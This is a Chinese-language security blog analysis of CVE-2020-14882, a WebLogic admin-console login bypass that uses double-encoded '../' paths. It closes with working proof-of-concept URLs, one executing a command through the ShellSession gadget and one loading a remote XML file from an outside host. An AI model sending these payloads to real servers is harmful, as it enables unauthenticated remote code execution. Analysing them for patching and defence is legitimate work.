CVE-2020-14882 WebLogic越权绕过登录分析 – 作者:宽字节安全实验室-安全小百科

简介

weblogic 管理控制台需要用户名和密码去登录，但是通过该漏洞，可以绕过登录校验，直接进入后台访问weblogic的各种资源。

补丁diff

在这里我的weblogic版本为12.2.1.4，其他版本都大同小异。下面我们看一下补丁diff结果。

因为这个类是weblogic从http访问的处理类，直接禁止url是否包含危险字符，如果包含，则直接退出。修复方案简单粗暴，不得不佩服。危险字符主要有以下几个。

private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", 
"..", "%3C", "%3E", "<", ">"};

weblogic 管理控制台权限控制分析

要分析这个洞，首先我们需要了解一下，登录weblogic管理控制台的权限控制。

在处理url的weblogic.servlet.internal.WebAppServletContext#doSecuredExecute方法中，调用如下的代码去判断权限等一切有关于安全的内容。代码如下。

if(context.getSecurityManager().checkAccess(req, rsp, applyAuthFilters, false)) {
if(s != null) {
int count = ((SessionSecurityData)s).getConcurrentRequestCount();
if(maxConcurrentRequestsAllowed != -1 && count > maxConcurrentRequestsAllowed) {
context.logError("Rejecting request since concurrent requests allowable limit exceeded :"+ maxConcurrentRequestsAllowed);
rsp.sendError(500);
return;
}
}

在weblogic.servlet.security.internal.WebAppSecurity#checkAccess(HttpServletRequest, HttpServletResponse, boolean, boolean, boolean)中，判断是否所有url都需要权限。当然，访问静态资源肯定是不需要登陆的，可能是为了浏览器兼容性考虑，因为大部分浏览器在登陆后，对访问静态资源都会添加cookie头，只有个别浏览器不会。

所以weblogic将会根据访问的url，也就是是否为静态资源，去返回一个ResourceConstraint对象。该对象描述了该url访问的资源的详细权限信息。

ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request);

authorized = this.delegateModule.isAuthorized(request, response, resourceConstraint, 
applyAuthFilters)

然后调用weblogic.servlet.security.internal.SecurityModule#isAuthorized方法，在该方法中获取用户session，调用weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess方法做进一步权限校验。

最后会在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中调用weblogic.servlet.security.internal.WebAppSecurity#hasPermission方法，根据最开始生成的ResourceConstraint对象，判断该次http请求是否有权限。如图所示。

如果用户访问的是静态资源，则返回unrestricted的值，hasPermission返回为true，weblogic认为你有权限访问，于是就会放行。如果你访问非静态权限，则直接拦截你的请求，重定向至登陆页。

于是绕过登录的关键在于，怎么访问正常的资源，但是weblogic返回的是静态资源的ResourceConstraint对象。

权限绕过分析

我们回到最开始的。

ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request)

跟入weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint(java.lang.String, java.lang.String)

ResourceConstraint rcForAllMethods = consForAllMethods == null ? null : 
(ResourceConstraint)consForAllMethods.get(relURI);

在这里会调用weblogic.servlet.utils.StandardURLMapping#get去根据url，返回对应的ResourceConstraint对象。

public Object get(String path) {
path = path.length() == 0 ? "/": this.cased(path);
Object value = null;
if((value = this.getExactOrPathMatch(path)) != null) {
returnvalue;
} else{
return(value = this.getExtensionMatch(path)) != null ? value : this.getDefault();
}
}

首先调用getExactOrPathMatch方法，也就是根据url，匹配是否在静态资源列表中。

而%252E%252E%252F恰好是../的url二次编码结果。这样既可以返回静态资源的ResourceConstraint对象，又不会影响正常访问。

weblogic 二次编码原因

在poc中我们可以看到，../被二次编码了。下面我们来分析一下weblogic能解开的原因。

根据http规定，url部分，需要url编码后发送给服务器。服务器正常解开并继续处理。这是第一层url编码

第二层编码的处理，在com.bea.netuix.servlets.manager.UIServletInternal#getTree中。

public static UIControl getTree(String requestPattern, UIContext ctxt, boolean setContentType, ResolvedLocale resolvedLocale) throws IOException, ServletException {
HttpServletRequest request = ctxt.getServletRequest();
HttpServletResponse response = ctxt.getServletResponse();
requestPattern = URLDecoder.decode(requestPattern, containerServices.getWebappServices().getServerDefaultEncoding());

其中URLDecoder.decode会对第一次编码后的url做第二次解码的工作，当然，如果url还存在url编码的话。

这也就是为什么两次编码可以绕过的原因。

一次url编码为什么不可以绕过？因为经过服务器一次解码后，在weblogic.servlet.utils.StandardURLMapping#get处，无法匹配到静态资源。会被还原成原本的url，所以无法绕过。。大家有机会可以看一下weblogic.utils.collections.MatchMap#match关于查找的代码。

POC

weblogic 12

http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);

因为com.tangosol.coherence.mvel2.sh.ShellSession这个gadget，只存在于weblogic 12，weblogic10 并没有这个gadget（没有包），所以无法使用。

weblogic 10

因为weblogic 10没有相关gadget所以会报错，如图。

需要使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

poc如下。

http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.184.1:8000/spel.xml")